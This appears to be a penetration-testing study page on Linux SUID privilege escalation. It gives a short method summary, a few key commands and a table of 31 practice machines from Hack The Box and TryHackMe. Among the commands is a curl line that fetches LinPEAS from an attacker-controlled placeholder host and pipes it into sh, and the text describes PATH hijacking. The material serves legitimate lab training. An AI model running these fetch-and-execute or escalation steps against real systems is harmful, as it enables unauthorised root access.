Linux SUID Privilege Escalation: practice machines and key commands
By Daniel Dayan ยท Updated
A SUID binary runs with the file owner privileges, often root, so any way to make it execute your commands is a privilege escalation. List candidates with find / -perm -4000 -type f 2>/dev/null and compare them against the GTFOBins catalogue for shell escapes. Custom binaries deserve a closer look: run strings or ltrace to spot calls to commands without absolute paths, then place a malicious binary earlier in PATH. Shared library injection and writable configuration files read by the binary are other routes. Remember that some shells drop privileges unless you pass -p. Document the exact binary and version you abused. The machines listed show SUID mistakes ranging from standard utilities to hand-written programs. Run the same check after every user change, since new groups expose new binaries.
Key commands
Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.
SUID Binaries Exhaustive Discovery
List all binaries on the filesystem with the SUID bit set, ignoring proc and dev.
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;LinPEAS Direct Memory Execution
Download and execute LinPEAS directly in bash memory without writing to disk.
curl -L http://{LHOST}:8000/linpeas.sh | shSudo Privileges Inspection (`sudo -l`)
Check current user sudo permissions without or with password.
sudo -l
Keep going
- Methodology: Phase 07: Privilege Escalation & Lateral Movement
- Cheatsheet: Linux PrivEsc & TTY
Linux SUID Privilege Escalation machines (31)
5 of these are machines I solved myself and are listed first within each difficulty. 31 Linux.
Listed when a machine has a catalog tag that is one of: suid, exploiting suid files, gtfobins, setuid, path hijacking, cve 2019 14287; or a tag that contains the word suid. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row.
Linux SUID Privilege Escalation at a glance
- By platform: 17 Hack The Box, 14 TryHackMe.
- On these practice lists: OSCP (13), CWEE (5), CPTS (2), Unofficial IppSec CPTS (2), OSEP (1), OSWE (1).
- Tags that most often appear alongside it: SQLi (4), Cron (2), File Upload (2), Hydra (2), Joomla (2), Steganography (2).
- Solved by me, with a page here: Bank (Linux Easy), Bounty Hacker (Linux Easy), Kobold (Linux Easy), RootMe (Linux Easy), Mr Robot CTF (Linux Medium).
Very Easy (1)
| Machine | Platform | OS |
|---|---|---|
| Oopsie | HTB | Linux |
Easy (17)
| Machine | Platform | OS |
|---|---|---|
| Bank IppSec | HTB | Linux |
| Bounty Hacker | THM | Linux |
| Kobold IppSec | HTB | Linux |
| RootMe | THM | Linux |
| Agent Sudo | THM | Linux |
| Archangel | THM | Linux |
| Blunder IppSec | HTB | Linux |
| Brooklyn Nine Nine | THM | Linux |
| Kenobi | THM | Linux |
| Laboratory IppSec | HTB | Linux |
| Previse IppSec | HTB | Linux |
| Res | THM | Linux |
| Secret IppSec | HTB | Linux |
| SwagShop IppSec | HTB | Linux |
| Traverxec IppSec | HTB | Linux |
| Vulnversity | THM | Linux |
| Writeup IppSec | HTB | Linux |
Medium (11)
| Machine | Platform | OS |
|---|---|---|
| Mr Robot CTF | THM | Linux |
| Anonymous | THM | Linux |
| Boiler CTF | THM | Linux |
| Bookstore | THM | Linux |
| Jacob the Boss | THM | Linux |
| Lazy IppSec | HTB | Linux |
| Magic IppSec | HTB | Linux |
| Monitored IppSec | HTB | Linux |
| October IppSec | HTB | Linux |
| Sneaky IppSec | HTB | Linux |
| UpDown IppSec | HTB | Linux |
Hard (2)
| Machine | Platform | OS |
|---|---|---|
| Charon IppSec | HTB | Linux |
| Daily Bugle | THM | Linux |
Related techniques
Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.
Practise it, then track it.
Log every box and the commands you used in ZeroBox.